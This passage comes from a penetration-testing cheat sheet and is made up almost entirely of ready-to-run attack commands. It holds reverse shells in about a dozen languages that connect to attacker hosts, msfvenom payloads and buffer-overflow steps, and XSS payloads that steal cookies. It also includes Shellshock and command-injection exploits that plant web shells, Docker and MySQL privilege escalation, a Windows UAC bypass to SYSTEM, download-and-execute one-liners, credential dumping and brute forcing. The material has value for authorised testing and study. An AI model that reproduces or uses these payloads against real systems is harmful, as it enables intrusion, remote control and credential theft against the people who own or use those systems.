-a\n\n# look at all accounts including AD\ngetent passwd\n\n# look at all groups and membership including AD\ngetent group\n\n# list crontabs for all users including AD\nfor user in $(getent passwd|cut -f1 -d:); do echo \"### Crontabs for $user ####\"; crontab -u $user -l; done\n\n# generate random passwords\ncat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^\u0026*()_+{}|:\u003c\u003e?=’|fold -w 12| head -n 4\n\n# find all immutable files, there should not be any\nfind . | xargs -I file lsattr -a file 2\u003e/dev/null | grep ‘^….i’\n\n# fix immutable files\nchattr -i file\n```\n\n### Win Buffer Overflow Exploit Commands\n\n```\nmsfvenom -p windows/shell_bind_tcp -a x86 --platform win -b \"\\x00\" -f c\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b \"\\x00\" -f c\n\nCOMMONLY USED BAD CHARACTERS:\n\\x00\\x0a\\x0d\\x20                              For http request\n\\x00\\x0a\\x0d\\x20\\x1a\\x2c\\x2e\\3a\\x5c           Ending with (0\\n\\r_)\n\n# Useful Commands:\npattern create\npattern offset (EIP Address)\npattern offset (ESP Address)\nadd garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )\n\n!pvefindaddr pattern_create 5000\n!pvefindaddr suggest\n!pvefindaddr modules\n!pvefindaddr nosafeseh\n\n!mona config -set workingfolder C:\\Mona\\%p\n!mona config -get workingfolder\n!mona mod\n!mona bytearray -b \"\\x00\\x0a\"\n!mona pc 5000\n!mona po EIP\n!mona suggest\n```\n\n### SEH - Structured Exception Handling\n\n```\n# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH\n!mona suggest\n!mona nosafeseh\nnseh=\"\\xeb\\x06\\x90\\x90\" (next seh chain)\niseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)\n```\n\n### ROP (DEP)\n\n```\n# https://en.wikipedia.org/wiki/Return-oriented_programming\n# https://en.wikipedia.org/wiki/Data_Execution_Prevention\n!mona modules\n!mona ropfunc -m *.dll -cpb \"\\x00\\x09\\x0a\"\n!mona rop -m *.dll -cpb \"\\x00\\x09\\x0a\" (auto suggest)\n```\n\n### ASLR - Address space layout randomization\n\n```\n# https://en.wikipedia.org/wiki/Address_space_layout_randomization\n!mona noaslr\n```\n\n### EGG Hunter techniques\n\n```\n# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/\n# http://www.fuzzysecurity.com/tutorials/expDev/4.html\n!mona jmp -r esp\n!mona egg -t lxxl\n\\xeb\\xc4 (jump backward -60)\nbuff=lxxllxxl+shell\n!mona egg -t 'w00t'\n```\n\n### GDB Debugger Commands\n\n```\n# Setting Breakpoint\nbreak *_start\n\n# Execute Next Instruction\nnext\nstep\nn\ns\n\n# Continue Execution\ncontinue\nc\n\n# Data\nchecking 'REGISTERS' and 'MEMORY'\n\n# Display Register Values: (Decimal,Binary,Hex)\nprint /d –\u003e Decimal\nprint /t –\u003e Binary\nprint /x –\u003e Hex\nO/P :\n(gdb) print /d $eax\n$17 = 13\n(gdb) print /t $eax\n$18 = 1101\n(gdb) print /x $eax\n$19 = 0xd\n(gdb)\n\n# Display values of specific memory locations\ncommand : x/nyz (Examine)\nn –\u003e Number of fields to display ==\u003e\ny –\u003e Format for output ==\u003e c (character) , d (decimal) , x (Hexadecimal)\nz –\u003e Size of field to be displayed ==\u003e b (byte) , h (halfword), w (word 32 Bit)\n```\n\n### BASH Reverse Shell\n\n```\nbash -i \u003e\u0026 /dev/tcp/X.X.X.X/443 0\u003e\u00261\n\nexec /bin/bash 0\u00260 2\u003e\u00260\nexec /bin/bash 0\u00260 2\u003e\u00260\n\n0\u003c\u0026196;exec 196\u003c\u003e/dev/tcp/attackerip/4444; sh \u003c\u0026196 \u003e\u0026196 2\u003e\u0026196\n\n0\u003c\u0026196;exec 196\u003c\u003e/dev/tcp/attackerip/4444; sh \u003c\u0026196 \u003e\u0026196 2\u003e\u0026196\n\nexec 5\u003c\u003e/dev/tcp/attackerip/4444 cat \u003c\u00265 | while read line; do $line 2\u003e\u00265 \u003e\u00265; done # or: while read line 0\u003c\u00265; do $line 2\u003e\u00265 \u003e\u00265; done\nexec 5\u003c\u003e/dev/tcp/attackerip/4444\n\ncat \u003c\u00265 | while read line; do $line 2\u003e\u00265 \u003e\u00265; done # or:\nwhile read line 0\u003c\u00265; do $line 2\u003e\u00265 \u003e\u00265; done\n\n/bin/bash -i \u003e /dev/tcp/attackerip/8080 0\u003c\u00261 2\u003e\u00261\n/bin/bash -i \u003e /dev/tcp/X.X.X.X/443 0\u003c\u00261 2\u003e\u00261\n```\n\n### PERL Reverse Shell\n\n```\nperl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"attackerip:443\");STDIN-\u003efdopen($c,r);$~-\u003efdopen($c,w);system$_ while\u003c\u003e;'\n\n# for win platform\nperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"attackerip:4444\");STDIN-\u003efdopen($c,r);$~-\u003efdopen($c,w);system$_ while\u003c\u003e;'\nperl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/sh -i\");};’\n```\n\n### RUBY Reverse Shell\n\n```\nruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"attackerip\",\"443\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n\n# for win platform\nruby -rsocket -e 'c=TCPSocket.new(\"attackerip\",\"443\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\nruby -rsocket -e 'f=TCPSocket.open(\"attackerip\",\"443\").to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%d \u003e\u0026%d 2\u003e\u0026%d\",f,f,f)'\n```\n\n### PYTHON Reverse Shell\n\n```\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attackerip\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\n### PHP Reverse Shell\n\n```\nphp -r '$sock=fsockopen(\"attackerip\",443);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\n```\n\n### JAVA Reverse Shell\n\n```\nr = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5\u003c\u003e/dev/tcp/attackerip/443;cat \u003c\u00265 | while read line; do \\$line 2\u003e\u00265 \u003e\u00265; done\"] as String[])\np.waitFor()\n```\n\n### NETCAT Reverse Shell\n\n```\nnc -e /bin/sh attackerip 4444\nnc -e /bin/sh 192.168.37.10 443\n\n# If the -e option is disabled, try this\n# mknod backpipe p \u0026\u0026 nc attackerip 443 0\u003cbackpipe | /bin/bash 1\u003ebackpipe\n/bin/sh | nc attackerip 443\nrm -f /tmp/p; mknod /tmp/p p \u0026\u0026 nc attackerip 4443 0/tmp/\n\n# If you have the wrong version of netcat installed, try\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc attackerip \u003e/tmp/f\n```\n\n### TELNET Reverse Shell\n\n```\n# If netcat is not available or /dev/tcp\nmknod backpipe p \u0026\u0026 telnet attackerip 443 0\u003cbackpipe | /bin/bash 1\u003ebackpipe\n```\n### XTERM Reverse Shell\n\n```\n# Start an open X Server on your system (:1 – which listens on TCP port 6001)\napt-get install xnest\nXnest :1\n\n# Then remember to authorise on your system the target IP to connect to you\nxterm -display 127.0.0.1:1\n\n# Run this INSIDE the spawned xterm on the open X Server\nxhost +targetip\n\n# Then on the target connect back to the your X Server\nxterm -display attackerip:1\n/usr/openwin/bin/xterm -display attackerip:1\nor\n$ DISPLAY=attackerip:0 xterm\n```\n### XSS Cheat Codes\n\n```\nhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet\n(\"\u003c iframes \u003e src=http://IP:PORT \u003c/ iframes \u003e\")\n\n\u003cscript\u003edocument.location=http://IP:PORT\u003c/script\u003e\n\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//–\u003e\u003c/SCRIPT\u003e\"\u003e'\u003e\u003cSCRIPT\u003ealert(String.fromCharCode(88,83,83))\u003c/SCRIPT\u003e\n\n\";!–\"\u003cXSS\u003e=\u0026amp;amp;{()}\n\n\u003cIMG SRC=\"javascript:alert('XSS');\"\u003e\n\u003cIMG SRC=javascript:alert('XSS')\u003e\n\u003cIMG \"\"\"\u003e\u003cSCRIPT\u003ealert(\"XSS\")\u003c/SCRIPT\u003e\"\"\u003e\n\u003cIMG SRC=\u0026amp;amp;#106;\u0026amp;amp;#97;\u0026amp;amp;#118;\u0026amp;amp;#97;\u0026amp;amp;#115;\u0026amp;amp;#99;\u0026amp;amp;#114;\u0026amp;amp;#105;\u0026amp;amp;#112;\u0026amp;amp;#116;\u0026amp;amp;#58;\u0026amp;amp;#97;\u0026amp;amp;#108;\u0026amp;amp;#101;\u0026amp;amp;#114;\u0026amp;amp;#116;\u0026amp;amp;#40;\u0026amp;amp;#39;\u0026amp;amp;#88;\u0026amp;amp;#83;\u0026amp;amp;#83;\u0026amp;amp;#39;\u0026amp;amp;#41;\u003e\n\n\u003cIMG SRC=\u0026amp;amp;#0000106\u0026amp;amp;#0000097\u0026amp;amp;#0000118\u0026amp;amp;#0000097\u0026amp;amp;#0000115\u0026amp;amp;#0000099\u0026amp;amp;#0000114\u0026amp;amp;#0000105\u0026amp;amp;#0000112\u0026amp;amp;#0000116\u0026amp;amp;#0000058\u0026amp;amp;#0000097\u0026amp;amp;#0000108\u0026amp;amp;#0000101\u0026amp;amp;#0000114\u0026amp;amp;#0000116\u0026amp;amp;#0000040\u0026amp;amp;#0000039\u0026amp;amp;#0000088\u0026amp;amp;#0000083\u0026amp;amp;#0000083\u0026amp;amp;#0000039\u0026amp;amp;#0000041\u003e\n\u003cIMG SRC=\"jav ascript:alert('XSS');\"\u003e\n\nperl -e 'print \"\u003cIMG SRC=javascript:alert(\\\"XSS\\\")\u003e\";' \u003e out\n\n\u003cBODY onload!#$%\u0026amp;()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")\u003e\n\n(\"\u003e\u003c iframes http://google.com \u003c iframes \u003e)\n\n\u003cBODY BACKGROUND=\"javascript:alert('XSS')\"\u003e\n\u003cFRAMESET\u003e\u003cFRAME SRC=”javascript:alert('XSS');\"\u003e\u003c/FRAMESET\u003e\n\"\u003e\u003cscript \u003ealert(document.cookie)\u003c/script\u003e\n%253cscript%253ealert(document.cookie)%253c/script%253e\n\"\u003e\u003cs\"%2b\"cript\u003ealert(document.cookie)\u003c/script\u003e\n%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E\n\u003cimg src=asdf onerror=alert(document.cookie)\u003e\n```\n### SSH Over SCTP (With Socat)\n\n```\n# on remote server\n# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP\n$ socat SCTP-LISTEN:80,fork TCP:localhost:22\n\n# localhost\n# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)\n$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80\n\n# create socks proxy\n# replace username and -p port value as needed...\n$ ssh -lusername localhost -D 8080 -p 1337\n```\n### Install Metasploit Community Edition in Kali 2.0\n\n```\n# github urls\nhttps://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version\n\nwget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run \u0026\u0026 chmod\n+x metasploit-latest-linux-x64-installer.run \u0026\u0026 ./metasploit-latest-linux-x64-installer.run\n\n# create user\n$ /opt/metasploit/createuser\n[*] Please enter a username: root\n[*] Creating user 'root' with password 'LsRRV[I^5' ...\n\n# activate your metasploit license\nhttps://localhost:3790\n\n# update metasploite\n$ /opt/metasploit/app/msfupdate\n\n# use msfconsole\n$ /opt/metasploit/app/msfconsole\n```\n### Tor Nat Traversal\n\n```\n# install to server\n$ apt-get install tor torsocks\n\n# bind ssh to tor service port 80\n# /etc/tor/torrc\nSocksPolicy accept 127.0.0.1\nSocksPolicy accept 192.168.0.0/16\nLog notice file /var/log/tor/notices.log\nRunAsDaemon 1\nHiddenServiceDir /var/lib/tor/ssh_hidden_service/\nHiddenServicePort 80 127.0.0.1:22\nPublishServerDescriptor 0\n$ /etc/init.d/tor start\n$ cat /var/lib/tor/ssh_hidden_service/hostname\n3l5zstvt1zk5jhl662.onion\n\n# ssh connect from client\n$ apt-get install torsocks\n$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80\n```\n### DNS brute forcing with fierce\n\n```\n# http://ha.ckers.org/fierce/\n$ ./fierce.pl -dns example.com\n$ ./fierce.pl –dns example.com –wordlist myWordList.txt\n```\n### Metagoofil metadata gathering tool\n\n```\n# http://www.edge-security.com/metagoofil.php\n#automate search engine document retrieval and analysis. It also has the capability to provide MAC\n# addresses, username listings, and more\n$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html\n```\n### A best NMAP scan strategy\n\n```\n# A best nmap scan strategy for networks of all sizes\n\n# Host Discovery - Generate Live Hosts List\n$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24\n$ grep \"Status: Up\" Discovery.gnmap | cut -f 2 -d ' ' \u003e LiveHosts.txt\n\n# Port Discovery - Most Common Ports\n# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf\n$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt\n$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt\n$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt\n\n# Port Discovery - Full Port Scans (UDP is very slow)\n$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt\n$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt\n\n# Print TCP\\UDP Ports\n$ grep \"open\" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print \"T:\"$0}'\n$ grep \"open\" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print \"U:\"$0}'\n\n# Detect Service Version\n$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt\n\n# Operating System Scan\n$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt\n\n# OS and Service Detect\n$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt\n```\n### Nmap – Techniques for Avoiding Firewalls\n\n```\n# fragmentation\n$ nmap -f\n\n# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)\n$ nmap --mtu 24\n\n# Generates a random number of decoys\n$ nmap -D RND:10 [target]\n\n# Manually specify the IP addresses of the decoys\n$ nmap -D decoy1,decoy2,decoy3 etc.\n\n# Idle Zombie Scan, first t need to find zombie ip\n$ nmap -sI [Zombie IP] [Target IP]\n\n# Source port number specification\n$ nmap --source-port 80 IP\n\n# Append Random Data to scan packages\n$ nmap --data-length 25 IP\n\n# MAC Address Spoofing, generate different mac for host pc\n$ nmap --spoof-mac Dell/Apple/3Com IP\n```\n### Exploit servers to Shellshock\n\n```\n# A tool to find and exploit servers vulnerable to Shellshock\n# https://github.com/nccgroup/shocker\n$ ./shocker.py -H 192.168.56.118  --command \"/bin/cat /etc/passwd\" -c /cgi-bin/status --verbose\n\n# cat file\n$ echo -e \"HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () { :;}; echo \\$(\u003c/etc/passwd)\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n\" | nc 192.168.56.118 80\n\n# bind shell\n$ echo -e \"HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n\" | nc 192.168.56.118 80\n\n# reverse Shell\n$ nc -l -p 443\n$ echo \"HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n\" | nc 192.168.56.118 80\n```\n### Root with Docker\n\n```\n# get root with docker\n# user must be in docker group\nek@victum:~/docker-test$ id\nuid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)\n\nek@victum:~$ mkdir docker-test\nek@victum:~$ cd docker-test\n\nek@victum:~$ cat \u003e Dockerfile\nFROM debian:wheezy\n\nENV WORKDIR /stuff\n\nRUN mkdir -p $WORKDIR\n\nVOLUME [ $WORKDIR ]\n\nWORKDIR $WORKDIR\n\u003c\u003c EOF\n\nek@victum:~$ docker build -t my-docker-image .\nek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \\\n'cp /bin/sh /stuff \u0026\u0026 chown root.root /stuff/sh \u0026\u0026 chmod a+s /stuff/sh'\n./sh\nwhoami\n# root\n\nek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'\n```\n### Tunneling Over DNS to Bypass Firewall\n\n```\n# Tunneling Data and Commands Over DNS to Bypass Firewalls\n# dnscat2 supports \"download\" and \"upload\" commands for getting files (data and programs) to and from # the victim’s host.\n\n# server (attacker)\n$ apt-get update\n$ apt-get -y install ruby-dev git make g++\n$ gem install bundler\n$ git clone https://github.com/iagox86/dnscat2.git\n$ cd dnscat2/server\n$ bundle install\n$ ruby ./dnscat2.rb\ndnscat2\u003e New session established: 16059\ndnscat2\u003e session -i 16059\n\n# client (victum)\n# https://downloads.skullsecurity.org/dnscat2/\n# https://github.com/lukebaggett/dnscat2-powershell\n$ dnscat --host \u003cdnscat server_ip\u003e\n```\n### Compile Assemble code\n\n```\nnasm -f elf32 simple32.asm -o simple32.o\nld -m elf_i386 simple32.o simple32\n\nnasm -f elf64 simple.asm -o simple.o\nld simple.o -o simple\n```\n### Pivoting to Internal Network Via Non Interactive Shell\n\n```\n# generate ssh key with shell\n$ wget -O - -q \"http://domain.tk/sh.php?cmd=whoami\"\n$ wget -O - -q \"http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \\\"\\\" \"\n$ wget -O - -q \"http://domain.tk/sh.php?cmd=cat /tmp/id_rsa\"\n\n# add tempuser at attacker ps\n$ useradd -m tempuser\n$ mkdir /home/tempuser/.ssh \u0026\u0026 chmod 700 /home/tempuser/.ssh\n$ wget -O - -q \"http://domain.tk/sh.php?cmd=cat /tmp/id_rsa\" \u003e /home/tempuser/.ssh/authorized_keys\n$ chmod 700 /home/tempuser/.ssh/authorized_keys\n$ chown -R tempuser:tempuser /home/tempuser/.ssh\n\n# create reverse ssh shell\n$ wget -O - -q \"http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@\u003cattacker_ip\u003e\"\n```\n### Patator is a multi-purpose brute-forcer\n\n```\n# git clone https://github.com/lanjelot/patator.git /usr/share/patator\n\n# SMTP bruteforce\n$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst\n$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst\n$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst\n$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'\n```\n### Metasploit Web terminal via Gotty\n\n```\n$ service postgresql start\n$ msfdb init\n$ apt-get install golang\n$ mkdir /root/gocode\n$ export GOPATH=/root/gocode\n$ go get github.com/yudai/gotty\n$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole\n# open in browser http://127.0.0.1:8080\n```\n### Get full shell with POST RCE\n\n```\nattacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami\u0026submit=submit' 'http://victum.tk/command.php'\n\nattacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php\u0026submit=submit' 'http://victum.tk/command.php'\n\nattacker:~$ curl http://victum.tk/shell.php?cmd=id\n\n# download reverse shell to server (phpshell.php)\nhttp://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27\n\n# run nc and execute phpshell.php\nattacker:~$ nc -nvlp 1337\n```\n### Exiftool - Read and write meta information in files\n\n```\n$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz\n$ tar xzf Image-ExifTool-10.13.tar.gz\n$ cd Image-ExifTool-10.13\n$ perl Makefile.PL\n$ make\n$ ./exiftool main.gif\n```\n### Get SYSTEM with Admin reverse_shell on Win7\n\n```\nmsfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe \u003e danger.exe\n\n#show account settings\nnet user \u003clogin\u003e\n\n# download psexec to kali\nhttps://technet.microsoft.com/en-us/sysinternals/bb897553.aspx\n\n# upload psexec.exe file onto the victim machine with powershell script\necho $client = New-Object System.Net.WebClient \u003e script.ps1\necho $targetlocation = \"http://192.168.56.102/PsExec.exe\" \u003e\u003e script.ps1\necho $client.DownloadFile($targetlocation,\"psexec.exe\") \u003e\u003e script.ps1\npowershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1\n\n# upload danger.exe file onto the victim machine with powershell script\necho $client = New-Object System.Net.WebClient \u003e script2.ps1\necho $targetlocation = \"http://192.168.56.102/danger.exe\" \u003e\u003e script2.ps1\necho $client.DownloadFile($targetlocation,\"danger.exe\") \u003e\u003e script2.ps1\npowershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1\n\n# UAC bypass from precompiled binaries:\nhttps://github.com/hfiref0x/UACME\n\n# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell\necho $client = New-Object System.Net.WebClient \u003e script2.ps1\necho $targetlocation = \"http://192.168.56.102/Akagi64.exe\" \u003e\u003e script3.ps1\necho $client.DownloadFile($targetlocation,\"Akagi64.exe\") \u003e\u003e script3.ps1\npowershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1\n\n# create listener on kali\nnc -lvp 4444\n\n# Use Akagi64 to run the danger.exe file with SYSTEM privileges\nAkagi64.exe 1 C:\\Users\\User\\Desktop\\danger.exe\n\n# create listener on kali\nnc -lvp 4444\n\n# The above step should give us a reverse shell with elevated privileges\n# Use PsExec to run the danger.exe file with SYSTEM privileges\npsexec.exe –i –d –accepteula –s danger.exe\n```\n### Get SYSTEM with Standard user reverse_shell on Win7\n\n```\nhttps://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051\nhttps://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html\nhttps://www.exploit-db.com/exploits/37049/\n\n# check the list of patches applied on the target machine\n# to get the list of Hotfixes installed, type in the following command.\nwmic qfe get\nwmic qfe | find \"3057191\"\n\n# Upload compile exploit to victim machine and run it\nhttps://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe\n\n# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe\n# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file \"main.c\"\n\n# dump clear text password of the currently logged in user using wce.exe\nhttp://www.ampliasecurity.com/research/windows-credentials-editor/\nwce -w\n\n# dump hashes of other users with pwdump7\nhttp://www.heise.de/download/pwdump.html\n# we can try online hash cracking tools such crackstation.net\n```\n### Generate our own dic file based on the website content\n\n```\n$ cewl -m 4 -w dict.txt http://site.url\n$ john --wordlist=dict.txt --rules --stdout\n```\n### Bruteforce DNS records using Nmap\n\n```\n$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80\n$ nmap --script dns-brute www.foo.com\n```\n### Identifying a WAF with Nmap\n\n```\n$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102\n$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102\n$ wafw00f www.hamza.com\n```\n### MS08-067 - without the use of Metasploit\n\n```\n$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205\n$ searchsploit ms08-067\n$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1\n```\n### Nikto scan with SQUID proxy\n\n```\n$ nikto -useproxy http://squid_ip:3128 -h http://target_ip\n```\n### Hijack a binary’s full path in bash to exec your own code\n\n```\n$ function /usr/bin/foo () { /usr/bin/echo \"It works\"; }\n$ export -f /usr/bin/foo\n$ /usr/bin/foo\n# It works ;)\n```\n### Local privilege escalation through MySQL run with root privileges\n\n```\n# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)\n$ wget 0xdeadbeef.info/exploits/raptor_udf2.c\n$ gcc -g -c raptor_udf2.c\n$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc\nmysql -u root -p\nmysql\u003e use mysql;\nmysql\u003e create table foo(line blob);\nmysql\u003e insert into foo values(load_file('/home/user/raptor_udf2.so'));\nmysql\u003e select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';\nmysql\u003e create function do_system returns integer soname 'raptor_udf2.so';\nmysql\u003e select * from mysql.func;\nmysql\u003e select do_system('echo \"root:passwd\" | chpasswd \u003e /tmp/out; chown user:user /tmp/out');\n\nuser:~$ su -\nPassword:\nuser:~# whoami\nroot\nroot:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n### Bruteforce SSH login with patator\n\n```\nroot:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'\n```\n### Using LD_PRELOAD to inject features to programs\n\n```\n$ wget https://github.com/jivoi/pentest/ldpreload_shell.c\n$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so\n$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft\n```\n### Exploit the OpenSSH User Enumeration Timing Attack\n\n```\n# https://github.com/c0r3dump3d/osueta\n$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes\n$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt\n```\n### Create a TCP circuit through validly formed HTTP requests with ReDuh\n\n```\n# https://github.com/sensepost/reDuh\n\n# step 1\n# upload reDuh.jsp to victim server\n$ http://192.168.10.50/uploads/reDuh.jsp\n\n# step 2\n# run reDuhClient on attacker\n$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp\n\n# step 3\n# connecting to management port with nc\n$ nc -nvv 127.0.0.1 1010\n\n# step 4\n# forward localport to remote port with tunnel\n[createTunnel] 7777:172.16.0.4:3389\n\n# step 5\n# connect to localhost with rdp\n$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777\n```\n# Jenkins Reverse Shell\n```\nString host=\"localhost\";\nint port=8044;\nString cmd=\"cmd.exe\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()\u003e0)so.write(pi.read());while(pe.available()\u003e0)so.write(pe.read());while(si.available()\u003e0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();\n```\n# Powershell Reverse Shell\n\nchange IP and Port / Limmited version\n```\n$sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2\u003e\u00261));$sm.Write($st,0,$st.Length)}\n```\n\n# Donwload file to Victim machine\n```\ncmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\\Temp\\shell.exe \u0026\u0026 C:\\temp\\shell.exe\n```\n```\npowershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString(\"http://127.0.0.1/shell.ps1\")\n```\n# MSSQL attack\n## Service discovery\n**Nmap**\n```\nnmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156\n```\n**MetaSploit**\n```\nmsf \u003e use auxiliary/scanner/mssql/mssql_ping\n```\nEnumeration\nCombine user passwords collected in other ways into a dictionary to enumerate MSSQL machines in the domain.\n\n**Nmap**\n```\nnmap -n -sV -Pn -vv -p\u003cPORT\u003e 